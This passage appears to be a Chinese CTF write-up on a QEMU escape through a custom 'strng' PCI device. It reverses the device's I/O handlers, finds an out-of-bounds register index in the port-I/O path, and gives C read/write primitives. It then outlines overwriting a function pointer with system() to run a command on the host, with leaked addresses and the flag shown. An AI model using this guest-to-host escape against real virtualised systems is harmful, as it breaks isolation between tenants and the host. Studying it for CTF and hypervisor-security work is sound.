        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]

可以看到有MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口。

然后查看resource文件:

root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource0对应的是MMIO,而resource1对应的是PMIO。resource中数据格式是start-address end-address flags。

也可以查看/proc/ioports来查看各个设备对应的I/O端口,/proc/iomem查看其对应的I/O memory地址(需要用root帐号查看,否则看不到端口或地址):

ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
  febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
  c050-c057 : 0000:00:03.0

/sys/devices其对应的设备下也有相应的信息,如deviceid和vendorid等:

ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status      enable         power      subsystem_device
class                     firmware_node  remove     subsystem_vendor
config                    irq            rescan     uevent
consistent_dma_mask_bits  local_cpulist  resource   vendor
d3cold_allowed            local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus        subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9

看完strng_class_init后,看strng_instance_init函数,该函数则是为strng Object赋值了相应的函数指针值srand、rand以及rand_r。

然后去看pci_strng_realize,该函数注册了MMIO和PMIO空间,包括mmio的操作结构strng_mmio_ops及其大小256;pmio的操作结构体strng_pmio_ops及其大小8。

void __fastcall pci_strng_realize(STRNGState *pdev, Error_0 **errp)
{
  unsigned __int64 v2; // ST08_8

  v2 = __readfsqword(0x28u);
  memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);
  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &strng_pmio_ops, pdev, "strng-pmio", 8uLL);
  if ( __readfsqword(0x28u) == v2 )
    pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}

strng_mmio_ops中有访问mmio对应的strng_mmio_read以及strng_mmio_write;strng_pmio_ops中有访问pmio对应的strng_pmio_read以及strng_pmio_write,下面将详细分析这两部分,一般来说,设备的问题也容易出现在这两个部分。

MMIO

strng_mmio_read

uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  result = -1LL;
  if ( size == 4 && !(addr & 3) )
    result = opaque->regs[addr >> 2];
  return result;
}

读入addr将其右移两位,作为regs的索引返回该寄存器的值。

strng_mmio_write

void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
  hwaddr i; // rsi
  uint32_t v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    i = addr >> 2;
    if ( (_DWORD)i == 1 )
    {
      opaque->regs[1] = opaque->rand(opaque, i, val);
    }
    else if ( (unsigned int)i < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        opaque->srand(val);
    }
    else
    {
      if ( (_DWORD)i == 3 )
      {
        v5 = val;
        v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
        val = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[(unsigned int)i] = val;
    }
  }
}

当size等于4时,将addr右移两位得到寄存器的索引i,并提供4个功能:

  • 当i为0时,调用srand函数但并不给赋值给内存。
  • 当i为1时,调用rand得到随机数并赋值给regs[1]。
  • 当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3],但后续仍然会将val值覆盖到regs[3]中。
  • 其余则直接将传入的val值赋值给regs[i]。

看起来似乎是addr可以由我们控制,可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界,那么我们就可以读写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界读写。

编程访问MMIO

实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:

unsigned char* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

PMIO

通过前面的分析我们知道strng有八个端口,端口起始地址为0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写。

strng_pmio_read

uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t reg_addr; // edx

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr;
        if ( !(reg_addr & 3) )
          result = opaque->regs[reg_addr >> 2];
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}

当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。

strng_pmio_write

void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t reg_addr; // eax
  __int64 idx; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr;
        if ( !(reg_addr & 3) )
        {
          idx = reg_addr >> 2;
          if ( (_DWORD)idx == 1 )
          {
            opaque->regs[1] = opaque->rand(opaque, 4LL, val);
          }
          else if ( (unsigned int)idx < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              opaque->srand((unsigned int)val);
          }
          else if ( (_DWORD)idx == 3 )
          {
            opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[idx] = val;
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}
  • 当size等于4时,以传入的端口地址为判断提供4个功能:

  • 当端口地址为0时,直接将传入的val赋值给opaque->addr。

  • 当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:

    • i为0时,执行srand,返回值不存储。

    • i为1时,执行rand并将返回结果存储到regs[1]中。

    • i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。

    • 否则直接将val存储到regs[idx]中。
      可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。

越界读则是首先通过strng_pmio_write去设置opaque->addr,然后再调用pmio_read去越界读。

越界写则是首先通过strng_pmio_write去设置opaque->addr,然后仍然通过pmio_write去越界写。

编程访问PMIO

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为,函数的具体用法可以使用man手册查看。

还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。

典型代码如下:

uint32_t pmio_base=0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);

}

利用

首先是利用pmio来进行任意读写。

  • 越界读:首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后再调用strng_pmio_read,就会去读regs[val>>2]的值,实现越界读,代码如下:
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
  • 越界写:仍然是首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后调用strng_pmio_write,并设置addr为4,即会去将此次传入的val写入到regs[val>>2]中,实现越界写,代码如下:
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

完整的利用过程为:

  1. 使用strng_mmio_write将cat /root/flag写入到regs[2]开始的内存处,用于后续作为参数。
  2. 使用越界读漏洞,读取regs数组后面的srand地址,根据偏移计算出system地址。
  3. 使用越界写漏洞,覆盖regs数组后面的rand_r地址,将其覆盖为system地址。
  4. 最后使用strng_mmio_write触发执行opaque->rand_r(&opaque->regs[2])函数,从而实现system("cat /root/flag")的调用,拿到flag。

调试

将完整流程描述了一遍以后,再说下怎么调试。

sudo ./launsh.sh将虚拟机跑起来以后,在本地将exp用命令make编译通过,makefile内容比较简单:

ALL:
        cc -m32 -O0 -static -o exp exp.c

然后使用命令scp -P5555 exp [email protected]:/home/ubuntu将exp拷贝到虚拟机中。

若要调试qemu以查看相应的流程,可以使用ps -ax|grep qemu找到相应的进程;再sudo gdb -attach [pid]上去,然后在里面下断点查看想观察的数据,示例如下:

b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read

然后再sudo ./exp执行exp,就可以愉快的调试了。

一个小trick,可以使用print加上结构体可以很方便的查看数据(如果有符号的话):

pwndbg> print *(STRNGState*)$rdi
$1 = {
  pdev = {
    qdev = {
      parent_obj = {
        class = 0x55de43a3f2e0,
        free = 0x7fc137fedba0 ,
        properties = 0x55de45283c00,
        ref = 0x13,
...
pwndbg> print ((STRNGState*)$rdi).regs
$3 = {0x0, 0x0, 0x1e28b6de, 0x6f6f722f, 0x6c662f74, 0x6761, 0x0 }

最后可以看到成功的拿到了宿主机下面的flag:

leaking srandom addr: 0x7fc137211bb0
libc base: 0x7fc1371ce000
system addr: 0x7fc13721d440
leaking heap addr: 0x55de43b35ef0
parameter addr: 0x55de43b6fb6c
flag{welcome_to_the_qeme_world}

你可能感兴趣的:(Escape)